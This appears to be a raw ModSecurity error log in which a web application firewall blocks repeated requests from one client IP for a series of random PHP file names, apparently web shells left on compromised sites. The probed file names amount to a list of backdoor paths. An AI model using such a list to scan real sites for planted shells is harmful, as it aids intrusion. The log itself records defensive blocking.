[Sun Dec 28 19:58:10.551041 2025] [:error] [pid 29388:tid 29412] [client 4.193.233.56:16738] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aVEbUtoLv2L2zI_SpdXhGQAAAVA"]
[Sun Dec 28 19:58:10.754446 2025] [:error] [pid 42378:tid 42394] [client 4.193.233.56:16659] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aVEbUjgtcN-KHAjWrX8bbgAAAM4"]
[Sun Dec 28 19:58:11.189025 2025] [:error] [pid 29437:tid 29476] [client 4.193.233.56:16671] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aVEbUxhDotAbVk6pZLfFKQAAAco"]
[Sun Dec 28 19:58:11.552089 2025] [:error] [pid 42293:tid 42325] [client 4.193.233.56:16726] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/KV7EGJmhHzX.php"] [unique_id "aVEbU8vc9B-5cwN385Ln6QAAAEI"]
[Sun Dec 28 19:58:11.768309 2025] [:error] [pid 42378:tid 42385] [client 4.193.233.56:16645] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "aVEbUzgtcN-KHAjWrX8bcAAAAMU"]
[Sun Dec 28 19:58:12.077232 2025] [:error] [pid 42294:tid 42361] [client 4.193.233.56:16665] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "aVEbVNTE5kYcYCOzl9G-4wAAAIs"]
[Sun Dec 28 19:58:12.360659 2025] [:error] [pid 29388:tid 29413] [client 4.193.233.56:16655] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "aVEbVNoLv2L2zI_SpdXhHAAAAVE"]
[Sun Dec 28 19:58:12.626081 2025] [:error] [pid 42293:tid 42341] [client 4.193.233.56:16725] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-104.php"] [unique_id "aVEbVMvc9B-5cwN385Ln7AAAAFI"]
[Sun Dec 28 19:58:12.844209 2025] [:error] [pid 42378:tid 42395] [client 4.193.233.56:16685] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yu.php"] [unique_id "aVEbVDgtcN-KHAjWrX8bdQAAAM8"]
[Sun Dec 28 19:58:13.149428 2025] [:error] [pid 42292:tid 42297] [client 4.193.233.56:16708] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yu.php"] [unique_id "aVEbVZyOrM_vaFx1osZKwwAAAAE"]
[Sun Dec 28 19:58:13.551124 2025] [:error] [pid 42294:tid 42360] [client 4.193.233.56:16666] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yu.php"] [unique_id "aVEbVdTE5kYcYCOzl9G-5AAAAIo"]
[Sun Dec 28 19:58:13.801269 2025] [:error] [pid 42294:tid 42368] [client 4.193.233.56:16734] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yu.php"] [unique_id "aVEbVdTE5kYcYCOzl9G-5gAAAJI"]
[Sun Dec 28 19:58:14.149713 2025] [:error] [pid 29436:tid 29447] [client 4.193.233.56:16755] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVEbVrchzOOtNL9VPNLwPwAAAYg"]
[Sun Dec 28 19:58:14.528677 2025] [:error] [pid 42378:tid 42381] [client 4.193.233.56:16758] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVEbVjgtcN-KHAjWrX8bewAAAME"]
[Sun Dec 28 19:58:14.957775 2025] [:error] [pid 29437:tid 29485] [client 4.193.233.56:16766] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVEbVhhDotAbVk6pZLfFKwAAAdM"]
[Sun Dec 28 19:58:15.293291 2025] [:error] [pid 29436:tid 29456] [client 4.193.233.56:16742] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aVEbV7chzOOtNL9VPNLwQAAAAZE"]
[Sun Dec 28 19:58:15.481338 2025] [:error] [pid 42293:tid 42347] [client 4.193.233.56:16721] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "aVEbV8vc9B-5cwN385Ln7wAAAFg"]
[Sun Dec 28 19:58:15.761399 2025] [:error] [pid 42378:tid 42382] [client 4.193.233.56:16756] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "aVEbVzgtcN-KHAjWrX8bfAAAAMI"]
[Sun Dec 28 19:58:16.031791 2025] [:error] [pid 29436:tid 29452] [client 4.193.233.56:16642] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "aVEbWLchzOOtNL9VPNLwQQAAAY0"]
[Sun Dec 28 19:58:16.250608 2025] [:error] [pid 42293:tid 42342] [client 4.193.233.56:16649] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/d12.php"] [unique_id "aVEbWMvc9B-5cwN385Ln8QAAAFM"]
[Sun Dec 28 19:58:16.887258 2025] [:error] [pid 29436:tid 29460] [client 4.193.233.56:16707] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tesTyuj.php"] [unique_id "aVEbWLchzOOtNL9VPNLwRgAAAZU"]
[Sun Dec 28 19:58:17.543045 2025] [:error] [pid 42292:tid 42298] [client 4.193.233.56:15582] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tesTyuj.php"] [unique_id "aVEbWZyOrM_vaFx1osZKxwAAAAI"]
[Sun Dec 28 19:58:17.807453 2025] [:error] [pid 42378:tid 42385] [client 4.193.233.56:16745] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tesTyuj.php"] [unique_id "aVEbWTgtcN-KHAjWrX8bgAAAAMU"]
[Sun Dec 28 19:58:18.040945 2025] [:error] [pid 29436:tid 29462] [client 4.193.233.56:16640] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tesTyuj.php"] [unique_id "aVEbWrchzOOtNL9VPNLwSQAAAZc"]
[Sun Dec 28 19:58:18.242187 2025] [:error] [pid 42378:tid 42395] [client 4.193.233.56:16730] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tqloh.php"] [unique_id "aVEbWjgtcN-KHAjWrX8bgwAAAM8"]
[Sun Dec 28 19:58:18.602690 2025] [:error] [pid 42378:tid 42387] [client 4.193.233.56:16746] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tqloh.php"] [unique_id "aVEbWjgtcN-KHAjWrX8bhQAAAMc"]
[Sun Dec 28 19:58:19.152150 2025] [:error] [pid 42378:tid 42398] [client 4.193.233.56:16673] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tqloh.php"] [unique_id "aVEbWzgtcN-KHAjWrX8bhgAAANI"]
[Sun Dec 28 19:58:19.929405 2025] [:error] [pid 29436:tid 29452] [client 4.193.233.56:16728] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tqloh.php"] [unique_id "aVEbW7chzOOtNL9VPNLwTwAAAY0"]
[Sun Dec 28 19:58:20.259608 2025] [:error] [pid 42378:tid 42383] [client 4.193.233.56:16684] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w3llstore.php"] [unique_id "aVEbXDgtcN-KHAjWrX8biQAAAMM"]
[Sun Dec 28 19:58:20.873450 2025] [:error] [pid 42378:tid 42401] [client 4.193.233.56:16733] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w3llstore.php"] [unique_id "aVEbXDgtcN-KHAjWrX8biwAAANU"]
[Sun Dec 28 19:58:21.184197 2025] [:error] [pid 42378:tid 42384] [client 4.193.233.56:16740] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w3llstore.php"] [unique_id "aVEbXTgtcN-KHAjWrX8bjAAAAMQ"]
[Sun Dec 28 19:58:21.578042 2025] [:error] [pid 29436:tid 29453] [client 4.193.233.56:16757] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w3llstore.php"] [unique_id "aVEbXbchzOOtNL9VPNLwVQAAAY4"]
[Sun Dec 28 19:58:21.886475 2025] [:error] [pid 42378:tid 42394] [client 4.193.233.56:16735] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ging.php"] [unique_id "aVEbXTgtcN-KHAjWrX8bjQAAAM4"]
[Sun Dec 28 19:58:22.235968 2025] [:error] [pid 29388:tid 29399] [client 4.193.233.56:16767] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ging.php"] [unique_id "aVEbXtoLv2L2zI_SpdXhHwAAAUM"]
[Sun Dec 28 19:58:22.577855 2025] [:error] [pid 29388:tid 29398] [client 4.193.233.56:16653] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ging.php"] [unique_id "aVEbXtoLv2L2zI_SpdXhIQAAAUI"]
[Sun Dec 28 19:58:22.829783 2025] [:error] [pid 42292:tid 42299] [client 4.193.233.56:15565] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ging.php"] [unique_id "aVEbXpyOrM_vaFx1osZKygAAAAM"]
[Sun Dec 28 19:58:23.149125 2025] [:error] [pid 42292:tid 42316] [client 4.193.233.56:16667] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fc72f.php"] [unique_id "aVEbX5yOrM_vaFx1osZKywAAABQ"]
[Sun Dec 28 19:58:23.481292 2025] [:error] [pid 42292:tid 42309] [client 4.193.233.56:16644] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fc72f.php"] [unique_id "aVEbX5yOrM_vaFx1osZKzgAAAA0"]
[Sun Dec 28 19:58:23.745306 2025] [:error] [pid 42292:tid 42319] [client 4.193.233.56:16660] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fc72f.php"] [unique_id "aVEbX5yOrM_vaFx1osZKzwAAABc"]
[Sun Dec 28 19:58:24.444258 2025] [:error] [pid 29436:tid 29451] [client 4.193.233.56:16719] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fc72f.php"] [unique_id "aVEbYLchzOOtNL9VPNLwWgAAAYw"]
[Sun Dec 28 19:58:24.724210 2025] [:error] [pid 29436:tid 29447] [client 4.193.233.56:16751] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aVEbYLchzOOtNL9VPNLwXAAAAYg"]
[Sun Dec 28 19:58:24.966028 2025] [:error] [pid 42292:tid 42301] [client 4.193.233.56:16747] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aVEbYJyOrM_vaFx1osZK0wAAAAU"]
[Sun Dec 28 19:58:25.326474 2025] [:error] [pid 29388:tid 29409] [client 4.193.233.56:16648] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aVEbYdoLv2L2zI_SpdXhJgAAAU0"]
[Sun Dec 28 19:58:25.620247 2025] [:error] [pid 42294:tid 42364] [client 4.193.233.56:16657] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tt.php"] [unique_id "aVEbYdTE5kYcYCOzl9G-6gAAAI4"]
[Sun Dec 28 19:58:25.806357 2025] [:error] [pid 42294:tid 42351] [client 4.193.233.56:16739] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVEbYdTE5kYcYCOzl9G-6wAAAIE"]
[Sun Dec 28 19:58:26.021855 2025] [:error] [pid 42294:tid 42359] [client 4.193.233.56:16651] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVEbYtTE5kYcYCOzl9G-7AAAAIk"]
[Sun Dec 28 19:58:26.249355 2025] [:error] [pid 42294:tid 42370] [client 4.193.233.56:15580] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVEbYtTE5kYcYCOzl9G-7QAAAJQ"]
[Sun Dec 28 19:58:26.501866 2025] [:error] [pid 42293:tid 42346] [client 4.193.233.56:15552] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/click.php"] [unique_id "aVEbYsvc9B-5cwN385Ln9gAAAFc"]
[Sun Dec 28 19:58:26.694492 2025] [:error] [pid 29436:tid 29449] [client 4.193.233.56:16674] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s12.php"] [unique_id "aVEbYrchzOOtNL9VPNLwXgAAAYo"]
[Sun Dec 28 19:58:27.047281 2025] [:error] [pid 43789:tid 43815] [client 4.193.233.56:16718] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s12.php"] [unique_id "aVEbYwa-tUppni4CcCY0hAAAARg"]
[Sun Dec 28 19:58:27.293283 2025] [:error] [pid 29437:tid 29474] [client 4.193.233.56:15556] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s12.php"] [unique_id "aVEbYxhDotAbVk6pZLfFLQAAAcg"]
[Sun Dec 28 19:58:27.639907 2025] [:error] [pid 42293:tid 42336] [client 4.193.233.56:16661] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/s12.php"] [unique_id "aVEbY8vc9B-5cwN385Ln-AAAAE0"]
[Sun Dec 28 19:58:28.048384 2025] [:error] [pid 29388:tid 29413] [client 4.193.233.56:15592] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "aVEbZNoLv2L2zI_SpdXhKQAAAVE"]
[Sun Dec 28 19:58:28.253302 2025] [:error] [pid 43789:tid 43813] [client 4.193.233.56:16700] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "aVEbZAa-tUppni4CcCY0hQAAARY"]
[Sun Dec 28 19:58:28.539333 2025] [:error] [pid 42293:tid 42325] [client 4.193.233.56:16713] [client 4.193.233.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/55b76.php"] [unique_id "aVEbZMvc9B-5cwN385Ln-gAAAEI"]
